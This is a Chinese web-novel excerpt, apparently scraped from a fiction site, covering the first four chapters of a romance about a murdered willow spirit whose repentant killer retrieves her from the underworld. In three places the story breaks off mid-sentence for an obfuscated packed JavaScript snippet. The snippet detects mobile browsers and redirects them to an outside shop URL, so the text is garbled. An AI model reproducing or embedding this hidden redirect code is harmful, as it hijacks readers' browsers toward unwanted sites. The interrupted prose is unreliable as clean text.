《鬼知道她有多难追》 1. 001 杀了她的那个负心汉。 柳音死后失忆了,什么都不记得。 包括她的名字,还是艳鬼黎娘告诉她的。 黎娘是仁心堂的老板娘。 仁心堂是座落在野鬼坡上、黄泉道旁的一家医馆,距离鬼门关不远,给那些四处游荡的孤魂野鬼整理遗容,还可以给他们提供一个歇脚处。 按理说,进了鬼门关的游魂都会被鬼差押送去阎罗殿接受审判,然后该下地狱的下地狱,该去投胎的去投胎。但是总会有那么些不听话不老实不甘心的,想方设法从鬼差手下逃脱,游荡在黄泉路上成了孤魂野鬼。 这些鬼,一般都不是什么好东西。 阴曹地府的鬼差经常会来捉拿这些逃逸的孤魂野鬼,但是却没有哪个鬼差敢去管黎娘和她的仁心堂。 因为黎娘不仅是一只极其漂亮的艳鬼,她还是这野鬼坡上爪子最利、煞气最深、最血腥、最凶悍的一只厉鬼。 柳音猜测,黎娘生前应该死得挺惨的,不然不会变成这样的大凶鬼。 她拐弯抹角地向黎娘打听过,可是黎娘什么都不肯说,反过来倒是把柳音的底细给摸得一清二楚。 “你怎么还不走?”黎娘穿着一袭红裙,轻飘飘地走过来,踢了一脚躺在摇椅上的柳音,没好气道,“天天吃我的住我的,一个纸钱都没落着!当我是你娘啊,天天养着你?” 柳音半躺在摇椅上,正在边看话本子边剥瓜子仁,身上绿裙沾满散落的瓜子壳。 她擎起手心里那一小把剥好的瓜子仁,笑嘻嘻道:“谁叫你把我捡回来的,你就得管我。呐,给你剥的,吃吧。” 黎娘生得杏眼桃腮,有一副美艳的好面孔,此时却满脸嫌弃地翻白眼,尖利利的长指甲直戳柳音的脑门:“你就懒吧,早晚懒死在这里!” 旁边负责做打扫的抠门鬼也跟着附和道:“小柳子,你是被冤杀的,又不会下地狱受苦,阎王爷说不定还要补偿你投个好胎,你还留在这里干什么?” 他一边扫瓜子壳,一边苦口婆心道:“你不像我们,身上背着重重罪孽,不敢去阎罗殿受审。能走你还是赶紧走吧,这野鬼坡上阴风烈、煞气重,待久了魂儿就散了,再不能去投胎转世了!” 柳音知道他们都是好心,可她总是懒得动。 她不记得自己上辈子是做什么的,大概是个闲不住的劳碌命。 如今死了反倒觉得轻松了,当鬼比当人好。 “散了就散了吧,反正我也不想去投胎。”柳音一粒粒吃着瓜子仁,漫不经心道,“我哪都不去,就在这里陪着你们,过到哪天算哪天。” 黎娘一脸恨不争气地瞪着她,正想再骂几句,外面却忽然跑进来一只半人高的小儿鬼,大声吆喝道:“出事了出事了!出大事了!有人要闯鬼门关!已经和鬼差打起来了!” 原本死气沉沉又无聊透顶的仁心堂登时活过来,无数野鬼游魂从边边角角的暗影缝隙里钻出来,张牙舞爪兴奋地问:“谁呀?是谁敢闯鬼门关?” 隔着重重鬼影,小儿鬼抬起一根白胖的小指头,指向群鬼后面的柳音:“是来找她的,蓬莱仙宗的谢清尘,杀了她的那个负心汉。” 一时间,所有鬼齐刷刷转头,盯向柳音。 手心里还剩几个瓜子仁没吃完,柳音不好当众吃独食,悄悄攥起手心藏到衣袖里,嘴上干巴巴道:“你们看我干什么,不是我叫他来的。” “知道不是你。”一个头发花白的老婆婆是个舌头老长的吊死鬼,扭着肥胖的身躯硬挤到摇椅边坐下,煞有介事道,“阴阳两隔,传信儿哪有那么容易?八成是那个姓谢的后悔了,想来跟你赔罪。” “小柳啊,你可得有骨气,千万别去见他!” “对!他是杀你的仇人,可绝不能心软,不能原谅他!” “姓谢的脸皮真厚,一剑捅了小柳的心窝,怎么还好意思来见她?人家小柳当初对他多好,对他掏心又掏肺,他却说杀就杀,真是个无情无义的狗东西!” …… 柳音长得漂亮,脾气也很温柔,不像黎娘那般凶悍,所以在仁心堂的人缘……不,鬼缘很不错,关于她的事,大家都爱掺和着多说几句。 不知道谁把黎娘私藏的一笸箩瓜子端出来了,野鬼们纷纷围坐在那里,边嗑瓜子边数落姓谢的,说得热火朝天。 柳音也凑过去抓了一小把瓜子,边剥边听热闹。 据说,柳音生前是个柳树妖,因为爱慕天资独秀、光风霁月的第一剑尊谢清尘,化成人形拜入蓬莱仙宗。 为了接近谢清尘,柳音想方设法对他好,为他挡箭试毒,为他掏心掏肺,三九寒天陪他练剑,天涯海角替他寻宝,可谓一颗心全都扑在他身上,满心满眼都是他。 然而谢清尘却像块捂不热的石头,随意践踏她的真心,始终对她冷漠无情、视而不见。 直到柳音被揭破妖怪身份,甚至发现她身上带有灭世大妖夤蛇的血气,很可能是夤蛇转世。 谢清尘为了保护他捧在心尖上的师妹,当场一剑穿心,杀了柳音。 可是柳音死后,谢清尘才发现真相,柳音并非夤蛇转世,她是被冤枉的。 他,错杀了她。 “后来呢?”柳音吃着瓜子仁,好奇地问。 “姓谢的错杀了你,悲痛后悔不已,直到你死后他才发觉自己的真心,原来他真正爱的人是你!”吊死鬼老婆婆把时不时掉落出来的长舌头又塞回口中,继续道,“听说他去闭关修炼了,大概是没脸见人吧,躲起来好几年。但是扛不住对你的愧疚,忍不住对你的思念,所以现在又跑来阴曹地府找你。” 柳音啧啧两声,听得津津有味。 因为死后失去记忆,她什么都不记得,所有关于她生前的事,都是从这些野鬼们七嘴八舌拼凑来的。 因为灭世大妖夤蛇的缘故,世人都惧怕这个上古妖物再次祸乱人间。所以柳音可能是夤蛇转世,最终被谢清尘一剑斩杀这件事,在当时闹腾得还挺大。 如今停留在仁心堂的这些孤魂野鬼,很多在生前都有些本事,能和仙门沾边带故,所以知道其中内幕。 柳音像听故事一样听他们说得热火朝天,心头却无波无澜。 大概是因为失去记忆的缘故吧,她对杀了她的谢清尘也没什么感觉,都是上辈子的事了。 “嘘!嘘!别说了!斩恶来了!” 呼声一出,那些野鬼们立马像被火燎了一般四处逃窜躲藏起来,生怕被斩恶抓到。 斩恶是分管这一片的鬼差,身形不算高大,但是结实魁梧,青面獠牙寡言少语,铁血手腕冰冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991898|193751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无情。但凡被他抓住的野鬼,无不是立马押送去阎罗殿,判罪受刑。 野鬼坡上这些游魂野鬼们没有不怕他的,除了艳鬼黎娘。 黎娘风姿绰约地斜倚在门口,阵阵阴风吹起她的红色纱裙猎猎飞舞,她抬起葱白玉手欣赏着自己鲜红尖利的长指甲,眸光冷幽幽地瞥向缓步而来的斩恶:“你来这里干什么?” 右手紧紧按在腰间刀柄上,斩恶走到距离仁心堂门口三步远,站定,青面獠牙的铁面具阴森森的,目光向客栈里面打量,说话的声音低沉又沙哑:“叫柳音出来,去见谢清尘一面。” “凭什么听你的?”黎娘嗤笑一声,不屑道,“姓谢的要闯的是鬼门关,又不是我的仁心堂,凭什么叫柳音去出面?难道是你们这些鬼差无能,竟然拦不住他?” 身形魁梧又强壮的鬼差,握刀的手背上青筋暴起,仿佛随时都会拔刀而起,斩杀那些胆敢忤逆他的凶恶厉鬼。 斩恶极力忍耐着,语气沉重道:“活人不入死门,他进不了鬼门关。但是他手上有锁魂引……可以将阴魂带走。” 锁魂引这种东西,据说是由上百种珍奇难见的极阴之物炼化而成,可以锁住死人的魂魄,使之留驻在阳气充足的人间,不至于溃散。 如今谢清尘拿着锁魂引来闯鬼门关,难道是想将柳音带回人间去? 黎娘面色变得微妙起来,蹙眉思索着,回头看向柳音,告诉她锁魂引的作用:“你自己决定吧,要不要去。” 柳音听得一愣一愣的,没想到世上竟然还有锁魂引这种东西?甚至还能让她重返人间? 眼看斩恶今天来不是为了抓他们,甚至还有新的热闹可看,那些孤魂野鬼们又纷纷从四周的犄角旮旯里探头探脑地冒出来,争相为柳音出谋划策。 “姓谢的竟然有锁魂引?小柳快去啊!能回人间你还犹豫什么?” “去什么去?姓谢的为了他那个宝贝师妹杀你,现在知道来找了,杀你的时候怎么不知道心疼?” “就是啊!这种渣男最会演戏了,小柳可千万别上当!” “你们话本子看多了吧?谢清尘好歹也是仙门魁首,正道名流,怎么可能骗一只鬼?他图什么?” “他能带着锁魂引来闯鬼门关,可见是真心想把小柳带回去,我倒觉得他应该是真的后悔了,想要补偿小柳。” “靠近鬼门关会折阳寿,平常人哪有敢来的?姓谢的为了小柳,这是连命都不要了……小柳你不妨回去看看,若是他对你不好,再回来便是了……” 柳音懒洋洋地打了个哈欠,慢吞吞地摇头。 她对重返人间没兴趣,只想留在这里当个逍遥自在的咸鱼懒鬼。 至于那个后悔的渣男,迟来的深情比草贱,她才不稀罕。 她只是失忆又不是失智,绝不会原谅那个杀了她的渣男,更不可能去见他。 “鬼差大人。”柳音看向门外的斩恶,“劳烦你去跟他说一声,我不……” 不等她说完,远处突然传来轰隆一声巨响。 只见远处的鬼门关……塌了一半。 尘土飞烟四起。 漫天阴风恻恻,刮割如刀。 阴森料峭的黄泉路上,缓缓走过来一道清绝挺拔的身影,一袭白衣,血色斑斓。 2. 002 阴曹地府处于九幽之下,鬼门关是进入阴间的第一关。 千百年来,还没有哪个活人能喘着气走进鬼门关……可是现在,鬼门关塌了一半。 荒草扶疏的黄泉道上,尘沙漫卷,鬼哭哳哳,四处飘逸的浓稠黑雾裹挟着阴毒至极的煞气,一寸寸侵蚀着那个突然闯入的不速之客的身体和神魂。 狂烈的阴风如锋利的刀,从他身上无情刮过,他呼吸的每一口阴气,都仿佛吞下带刺的毒针,密密匝匝地侵入他的五脏六腑,每一寸经脉。 越向前行,那煞气便越阴越毒,那带刺的针便越长越密。 他的眉峰紧蹙起来,嘴角渗出殷红的血丝,那一袭斑斓的雪衣快要被血色浸透了…… 可他前进的步伐却依旧不紧不慢,一步不停。 负责把守鬼门关的十六只巨型鬼差仓惶追上去阻拦,矫健魁梧的身形踩踏得轰鸣震颤、地动山摇。 然而还不等他们靠近,那一袭雪衣便将他们齐齐掀飞出去。 斩恶的脸色沉下来,猛地拔刀出鞘,飞快冲上前去。 可是无形中有什么在他眉心一点,他便整个身体都定住,再不能向前移动分毫。 “天呐……”吊死鬼老婆婆拖着长长的舌头,惊讶得合不拢嘴,“他竟然进来了?” 结巴鬼支支吾吾:“他、他他真是活人吗?那些鬼差都打、打不过他?” “不愧是名动九州冠绝仙门十三宗的第一剑尊,这也太强了!” “我活着的时候就听说他很厉害,没想到竟然能这么厉害!” “可他也太嚣张了吧?阴曹地府他说来就来,他怎么不上天啊……” …… 一片惊愕的议论声中,谢清尘缓缓走到仁心堂,淡漠平静的目光扫过站在门边的黎娘,还有那些躲藏在黑暗里探头探脑的孤魂野鬼,隔着空幽幽的门口,看到站在里面的柳音。 冷烈的阴风吹起他的袍角和发丝在风中飞舞,他的眸光静静凝视着她,慢慢红了眼眶。 “柳音。”他的声音低低的,隐隐透着一丝哑,“跟我回去。” 柳音慢慢瞪大眼睛,近距离看清他的脸。 他的眉毛长长的,斜飞入鬓,高高的鼻梁峻挺如山的脊梁,淡红的薄唇沾染着血色,仿佛沁了釉的岫玉。 最好看的是他的眼睛,漆黑狭长,瞳仁黑亮又深邃,盯着人的时候直勾勾的,令人不禁心旌摇荡。 如果柳音还活着,只怕现在已经心跳扑通扑通,小鹿乱撞了吧。 因为他实在是……太太太好看了! 谁能想到那个天杀的渣男竟然长这样? 那些野鬼们天天说他的坏话,可你们没说渣男他长这么帅啊! 柳音一眼不眨地盯着谢清尘,上下打量着,对比那些长得奇形怪状、缺头少腿的孤魂野鬼,他实在是好看得太超过了! 眼看她久久的不说话,谢清尘不免担忧,目光殷切道:“对不起,是我错了,不该杀你……你能不能给我一次机会,原谅我一次?我已经拿到锁魂引,跟我回去,好不好?我保证,从今以后好好对你,照顾你保护你,再没人能伤你分毫,我必护你周全!” 一袭雪衣血红斑斓,原本高高在上的第一剑尊俯下身段卑微乞求,如芝兰玉树逢雪,低谦却不掩风骨。他的脸庞俊美如天神,泛着潮红的眼尾紧盯着柳音,无声地述说着无尽的后悔与疯狂的爱意。 任谁被那样一双情深意切的眼眸盯着,都无法说出拒绝的话。 何况他还长得那样好看。 昂着下巴清清嗓子,柳音斜眼打量他:“你不是还有个宝贝师妹吗,还来找我干什么?” 谢清尘神色微怔,语气认真道:“师妹只是师妹,我喜欢的人,是你。” “当真?” 藏着泪意的眼眸紧盯着她,谢清尘点头:“我保证。” 柳音再也撑不住了,上前一步跨出门槛,轻声道:“你别哭了,我跟你走。” 这么帅的美男子,渣一点又怎么了? 只要她比他更渣不就好了? 随便玩玩谁不会啊~ 柳音简直无法想象,在见过这么好看的美男子之后,若是让他离开,以后再见不到他,她该多难受。 她也不是嫌弃那些缺胳膊少腿、血赤呼啦的野鬼们,只是爱美之心,人皆有之,鬼当然也有。 所以柳音愉快地决定了,要跟着眼前的美男子去人间逛逛。 若是他对她不好,或者她看他看够了,那就再回来。 “你想好了?”黎娘站在一旁,紧盯着她,脸上神情少有的凝重。 柳音点点头。 黎娘似有些犹豫地攥紧衣袖,很快又抿着嘴角,朝柳音招招手:“借一步说话。” 谢清尘还在失神,似乎没想到柳音竟然那么容易就答应他,一时不知该惊还是该喜。 他有些不知所措地盯着柳音,忽然见她要走,急得一把抓住她的手,可是掌心里却空空的,什么都抓不住。 柳音回头看他,露出一个微笑:“你在这里等我。” 看着她脸上明灿的笑容,谢清尘一阵失神。 阴沉沉的天幕像个晦暗无边的穹庐,沉甸甸地锁住这一方死气沉沉的世界。 黎娘拉着柳音走出十多丈远,一直走到空旷的野地,再没有任何一只鬼能偷听她们说话,方才停下。 柳音打量她的神色:“你要和我说什么?” “我没想到,竟然还有死了的鬼能离开这里。”黎娘握住她的手,漂亮美艳的脸庞哀凄凄的,眼睛里却又闪烁着期盼的火花,“你出去以后,帮我找一个人。” “什么人?” “是我夫君,他叫薛怀安。” “我的闺名叫苏夜黎,老家云州檀溪,七十三年前的冬月十五,我因旧疾复发,性命垂危,我夫君他出门去为我寻药,从此再未归家。” 黎娘慢慢红了眼圈:“后来我死了,我在这黄泉路旁等了七十年,盼了七十年,可是薛怀安却始终未出现……我不知道他是不是还活着,你帮我去找找他。如果能找到,帮我带句话,问问他还记不记得黎娘?” 柳音听得唏嘘不已,原来黎娘在黄泉路上开这仁心堂,一直不去转世投胎,原来是为了等她的夫君? “你夫君他可能在什么地方,你知道吗?” “他是个郎中,原本在檀溪开了一家医馆,名字就叫仁心堂。”黎娘默默摇头,“但是现在,不知道了。” 柳音觉得这事难办,正想再多问几句,黎娘却忽然推她一把,催她快走:“你再不走,他怕是要死在这里了。” 柳音回头,看到谢清尘的脸色苍白如纸,身上衣袍快要被血色浸透了,这九幽之下的阴煞之气果然厉害,不是活人该来的地方。 她不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991899|193751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好再耽搁,连忙快步走回去,急匆匆跟那些野鬼们道别,然后拉着谢清尘向鬼门关走去。 “这是锁魂引,可以将你的魂魄从阴间剥离,你戴在身上。”临近鬼门关时,谢清尘拿出一只翠绿的物什,递给柳音。 柳音接过那物什,顿时感觉沉重起来,她的魂魄好像重新有了身体,甚至有了呼吸和心跳,同时也感觉到疼痛袭来,这九幽之下的阴气似乎也开始侵蚀她。 几乎是一瞬间,谢清尘将她横抱起来,几个腾跃便快速冲出鬼门关。 追在后面那些满身伤痕累累的鬼差们也不知道该不该拦,或许也知道拦不住,只能眼睁睁看着他们离开。 柳音不知道自己是什么时候晕过去的。 再醒来时,她正躺在温暖柔软的被子里,隐约能听到一些外面说话走路的声响,看屋内摆设像是一家客栈的客房,临窗点着两支蜡烛,映照着插满花瓶的梅花……原来是冬天了。 她死了有多久了? 三年?还是四年? 柳音眨了眨眼,已经想不起来了。 她正出神的时候,忽然吱呀一声门响,谢清尘进来了。 他已经换上干干净净的雪色衣袍,手上端着托盘,看到柳音看向他,薄削的唇微抿:“你醒了?饿不饿?” 柳音已经闻到食物的香气,口中不由冒出涎水。 她在阴间的时候,虽然也能吃东西,可那些都是凡间给死人烧去的祭品,吃起来没滋没味的,只能打打牙祭。 因为失忆的缘故,她已经不记得真正的食物是什么味道了,忽然闻到这般香气,连忙掀开被子爬起来。 她一起身,有个东西骨碌碌滚落到床榻上,低头一看,原来是谢清尘给她的那个“锁魂引”。 她拿起那个翠绿色的小东西打量着,细溜溜的,不过拇指长,看上去像块树皮,但是质地又很坚硬,中间是空的,头上还有一个孔。 “锁魂引……就是这样的?”她疑惑道,“长得好奇怪。” “锁魂引是一种符咒,我把符咒刻在你送我的柳哨上了。”谢清尘看着她,隐约感觉哪里不对劲。 “柳哨?”柳音捏着手中的小东西,绿色的,看形状的确是个柳哨,她眨了眨眼,“我送你的?” 峻挺的眉峰微微蹙起,谢清尘打量她的神色,见她不似在开玩笑,语气隐隐有些不稳:“是你送我的,你……不记得了?” “我失忆了,没有印象。” “你失忆了?” 谢清尘怔在那里,心头震动,惊讶难掩,而柳音却毫不在意地说了声“对呀”,然后便将柳哨一丢,走到桌边坐下,拾起筷子吃东西。 这里的饭菜还不错,有喷香的酥肉,有清脆的蔬菜,还有滋味鲜美的鱼汤和各种样式的点心。 柳音吃得津津有味,谢清尘默默看着她,自嘲地苦笑:“不记得也好……不然你恐怕也不会回来。” “你说什么?”柳音嘴里咬着酥肉,含糊不清地问。 “没事。” 谢清尘抬起右手,被丢在床榻上的柳哨便飞落到他掌心,转瞬间,那柳哨顶端又多出一条青绿色丝绳,变成一条别致的吊坠。 他走到桌旁,将柳哨戴到柳音脖颈上,叮嘱道:“这柳哨很重要,你一定要随身戴好,别丢了。” “为什么?”柳音觉得那柳哨干枯又坚硬,挂在脖子上不太舒服。 3. 003 “因为这柳哨上面刻着锁魂引吗,所以要时刻随身戴着?”柳音猜测。 谢清尘抿着薄唇,神色有些难堪。 半晌,他坐到桌对面,翻开茶盏,给柳音倒了一杯水,推到她手边,方才开口道:“因为怀疑你是夤蛇转世,他们在你死后还不放心,怕夤蛇会死灰复燃,卷土重来……所以把你的尸身投入火中,烧成一段焦木。” 他的右手暗暗攥紧,目光垂落到柳音胸前那只柳哨,低声道:“这柳哨是你剩余留下唯一的身体,只有身体存在,你的魂魄才有居所,你才能暂时存活。” 原来这个柳哨这么重要! 柳音连忙放下筷子,小心翼翼地将挂在脖子上的柳哨塞进衣服下面藏好。 她好好的一棵大柳树,现在竟然只剩下这么一小截柳哨,真是太可怜了。 “是谁把我烧掉的?”她咬牙切齿地问,“他们是谁?” 几乎承受不住她的目光,谢清尘避开她的视线,哑声道:“很多人……所有仙门,几乎都有份。” 柳音咬着腮帮子沉吟一会儿,叹息道:“算了,随便吧。” 反正她都已经死了,懒得再去追究那些仇人是谁。 她是回来吃喝玩乐享受美男的,又不是回来复仇的。 上辈子不得好死,她不想连做鬼都不得安宁。 谢清尘一脸的欲言又止,薄削的唇张了张,最终还是没开口。 柳音没注意他,拾起筷子继续吃那盘香喷喷的小酥肉,边吃边问:“那个夤蛇,抓到了吗?” 狭长的凤眸沉了几分,谢清尘缓缓摇头:“夤蛇去年战败雷鹏,已经成为新任妖王,如今盘踞在铁蒺冰原,蠢蠢欲动。仙门各宗正在集结,准备联手除掉夤蛇,等把你送去北弥山,我便去跟他们会和。” “北弥山?”柳音疑惑,“什么意思?” “你现在只能暂时存活。”谢清尘解释道,“因为你的竹哨只是一段树皮,没有根也没有枝叶,存活不了多久。一旦竹哨彻底枯死,你就没有身体了。” “那怎么办?” 柳音吃得有些腻,又喝了口茶水,往下顺顺,倒是也不太担心。 反正她都已经死了,大不了回阴间去,还跟黎娘他们一起玩。 “你的尸身留下的焦木,已经送到北弥山,浸在寒凝泉中。”谢清尘宽慰道,“我会把你送过去,和你的焦木浸在一起。只需三五年,你的焦木就能复苏,重新生根发芽。” 柳音听得打怵:“把我也浸在寒凝泉?那里冷不冷?” “冷。”谢清尘看着她,“但是只有你在,焦木才能复苏。” 柳音感觉有些头疼。 没想到竟然要在冰水里泡上三五年?也不知道会不会把她泡浮囊了。 且不说她会不会冻死,只怕那焦木还没生根发芽,她先无聊死了。 一时不禁有些后悔,早知道就不跟他走了。 明明她留在阴曹地府当个咸鱼懒鬼,逍遥又自在,偏偏被他的美色迷了眼,做出这样昏庸的决定。 柳音忍不住斜了谢清尘一眼,可是目光一落到他脸上,满腹怨气便又消失无踪了。 谁叫他长得绝顶好看呢,偏生她又喜欢美色。 难怪上辈子能把她迷得神魂颠倒,让她掏心又掏肺,死在他剑下也不冤。 清幽幽的夜色下,烛火微黄,梅花飘香。 美男子站起身,将桌上的碗碟收拾起来:“屏风后面给你放了热水,可以沐浴,你好好休息。明日一早上路,带你去北弥山。” 眼看他起身要走,柳音却还没看够他的美色,连忙叫他等等,没话找话道:“你要去哪儿?我自己一个人在这里,会害怕。” “我就在隔壁。”谢清尘指向左边,“这里已经落下结界,没人能随意进你的房间,放心。” 柳音哦了一声,忽然想起黎娘托她办的事,连忙问:“你知道云州檀溪在哪里吗?” “知道。” “我有点事,想去那里一趟。”她眨着乌溜溜的大眼睛,“去北弥山,会不会路过云州?” 谢清尘垂眸看着她,轻轻颔首:“可以路过。” 柳音得了保证,这才让他离开。 舒舒服服地泡了个热水澡,感觉周身都通泰了,柳音换上干净绵软的里衣,看着整整齐齐叠放在旁边矮柜上的那些绿色衣裙,莫名就觉得,那些应该就是她自己的衣服,摸上去有种熟悉感,她喜欢绿色。 夜里躺在床上,柳音想着黎娘和她夫君的事。 七十多年过去,也不知道那个薛怀安会在哪里,只能先去黎娘的老家打听打听。即便人还活着,只怕现在也是个耄耋之年的老头子了。 迷迷糊糊睡着了,再醒来的时候,竟然是个傍晚。 柳音起身走到窗边,推开窗扇,看到白茫茫的一片寒江雪景,还有西天的一抹残阳的余晖。 不是说一早就上路吗,这怎么到了傍晚? 她正疑惑的时候,只听身后传来敲门声,谢清尘进来了,还给她带了晚饭。 不等柳音问,谢清尘倒是先开口:“你睡得太沉,没叫醒你。” 他将饭菜摆到桌上,温和道:“你现在体虚内弱,多睡是正常的。不要紧,明日走也来得及。” 柳音点点头,抬手摸摸藏在衣服里面的柳哨,又问他:“我的柳哨还能坚持多久?” “最多一两个月。”谢清尘叫她好好吃饭,多攒些力气,明日好上路。 看着他带上门出去了,柳音先洗漱一番,然后走到桌边坐下吃饭。 回想在阴间的时候,她也常常一睡就是三五天。反正鬼也不怕饿,而她又总是觉得很累,能躺着绝不会坐着,周围那些野鬼们都说她是个懒鬼。 慢吞吞地吃完一顿饭,感觉身上有了力气,柳音的精神头好了许多。 可惜谢清尘不在,不能看美男,也不知道他在忙些什么? 心里有了念想,柳音就坐不住了,瞅瞅桌上吃过的盘碗,连忙收拾起来,用托盘端着,去隔壁敲门。 房间里面亮着灯火,柳音抬声道:“是我。” 她正想推门进去,可是里面的门拴竟然抵上了。 很快门打开,谢清尘竟然赤着脚,上身只穿白色里衣,连衣带都没系,只用单手拢着衣襟,担心地看着她:“怎么了?” “我吃完了,这些盘碗放哪里?”柳音端着托盘,话说得一本正经,眼神却止不住往他身上瞄。 “给我吧。”谢清尘接过托盘,放到里面桌上,柳音跟着走进去,看到房间里摆着一只浴桶,地上还撒着一些水渍,这才发觉自己来得不合时宜。 “你在沐浴啊,那不打扰了。”她尴尬地打着哈哈,转身要走,却忽然看到摆在桌上的一堆药瓶,还有搭在椅背上的一件沾血的里衣。 想起谢清尘在黄泉道上流的那些血,几乎染透整个衣袍,他一定受了不轻的伤。 柳音回头看他:“你的伤,怎么样了?” “无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991900|193751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妨。”谢清尘拢着里衣,除去宽大的外袍,越发显得身高腿长,腰身窄劲。 他的面庞俊冷,看她的眼神却柔软温和,只是他嘴上说着不要紧,身上的白色里衣却慢慢渗出血色,甚至滴滴答答落到地上。 “这怎么会没事?”柳音围着他转了一圈,看到他身上有很多处渗血,尤其后背,已经被血色浸透了,“你洗完了?我帮你上药。” 谢清尘抿着薄唇,谢绝道:“不用,我自己来。” 柳音却不肯走,坚持要给他上药:“背上的伤,你自己怎么来?不是还要去除掉夤蛇吗,你伤成这样,怎么去?” 拢着衣襟的手指紧了紧,谢清尘犹豫半晌,终究没再多言,抬手将上身里衣脱掉。 柳音打量他身上的伤,深浅不一纵横交错,似乎都是被那九幽之下的阴风割裂出的伤口,严重的地方血肉翻卷,看上去颇为狰狞恐怖。 “你坐下。”她摆弄桌上那些药瓶,“这些要怎么用?” 谢清尘告诉她用法,然后背对着她坐到圆凳上,两手撑着膝盖,不自觉地用力,修长的指节绷得泛白。 窗外轻飘飘的雪花慢悠悠地下着,燃着烛火的房间里,灯影摇曳,一室静谧。 柳音按照谢清尘说的,一点点给他上药,气息清苦的药粉扑撒在他的伤口上,慢慢让渗血的伤处凝固。然后她又剪开纱布,仔细给他包扎起来,前后缠绕打节的手势十分熟练,仿佛曾经为他做过很多很多次一样。 一时不禁有些愣神,柳音想不起是什么时候为他包扎过了。 她的手还搭在他的肩上,能感觉到他的肩背肌肉结实有力,却又不会过分贲张,起伏的肌理线条流畅而利落,甚至因为那些殷红的伤口和缠绕的绷带而生出别样支离破碎的美感。 柳音忘了去想别的,满眼都是那矫健美好的身体,宽阔的肩,劲瘦的腰,还有延伸到前面的胸腹肌肉,若不是伤口太多,她真的很想摸一摸,感受一下…… 似乎见她半晌都不动,谢清尘回首问:“怎么了?” 柳音回过神来,连忙放下手,有些尴尬地后退一步,不想却踩到地上的水渍,顿时脚下一滑。 她“哎呀”地惊叫一声,谢清尘连忙抬手揽住她,再回神的时候,整个人已经坐到他腿上,被他揽着腰肢,抱在怀里。 他的掌心很热,很烫,箍在她的腰间,触感格外清晰。 她看到他那近在咫尺的明俊脸庞,细长的眼睫,挺直的鼻梁,还有淡红的薄唇。 那一双清幽幽的眸子低敛垂视着她,凸起的喉结轻轻滚动了一下,眼神定定看着她。 有那么一瞬间,柳音觉得他是想亲她的。 可他的目光在她唇上停驻一瞬,很快便移开了,抬手将她扶起,问她有没有扭伤? “没有。”柳音脸颊微红,心跳也扑通扑通的,说不清是失望还是什么,稀里糊涂地道别一声,然后便急步匆匆离开他的房间。 回到自己屋里,柳音的脸颊还在发热,她捧着脸坐在桌前,思来想去,越想越懊恼。 刚刚怎么不主动一点呢? 明明只差一点点,就能亲到了! 她千里迢迢跟他走,还不就是为了摸摸小手,亲亲小嘴,尝尝他的美色? 这么好的机会,怎么就不知道把握? 因为这个遗憾,柳音夜里没睡着。 她琢磨了大半宿,最终决定主动出击,去勾引他一下。 必须尝尝美男子的滋味才行。 4. 004 大概是因为有心事,柳音夜里睡得不踏实,第二天早上,谢清尘一敲门她就醒了。 吃过早饭,两人启程去北弥山。 他们下榻的客栈在一个偏远乡镇,清早的积雪堆积得厚厚的,路上行人不多。 一路走到郊外,四下荒无人烟,谢清尘拔出佩剑,抛到半空,带着柳音御剑飞行。 “冷,好冷。”柳音站在前面,迎着扑面而来的冷风,冻得直往谢清尘怀里钻。 谢清尘从乾坤袋里取出一袭银狐大氅,抖落开来,将她整个包裹起来,扶她站好。 柳音:…… 行,行吧。 确实是不冷了。 “去北弥山,要多久?”她没话找话地问。 “大约五日。”谢清尘分辨着方向,纵剑疾驰。 柳音惦记着去云州,怕他忘了,提醒道:“那什么时候能到云州?” “明日下午。”谢清尘看她,“你去云州,是因为那个厉鬼?” 柳音把黎娘和她夫君的事简单说了一下,请他帮忙找人。 这事没必要瞒他,也瞒不过,而且他是仙人,肯定比她办法多。 “七十多年前的人,恐怕不好找。”谢清尘沉吟道,“除非世家大族,可能还有传承。” 看出柳音担忧,他又道:“去查户籍,总归会有记录。” 柳音点点头,忍不住打了个哈欠。 她昨夜没睡好,感觉晕乎乎的,头重脚轻,真怕一头栽下去。 “我好困,能不能靠着你睡会儿?”她揪着谢清尘的袖子,把头抵在他胸前。 谢清尘嗯了一声,伸手扣住她的肩:“睡吧。” 柳音顺势搂住他的腰,整个人趴在他怀里,闭着眼睛蹭来蹭去,脑袋找了个舒服的姿势,惬意地叹气。 迷迷糊糊睡了一天,中间好像停过几次,柳音也没睁眼,直到天色黑了,谢清尘带她去客栈投宿,她才慢慢清醒过来。 晚饭依旧是两荤两素,还有一碗甜粥。 眼看谢清尘给她摆好饭菜,又要离开,柳音连忙叫住他:“你不吃饭吗?” “我不用。” “……” 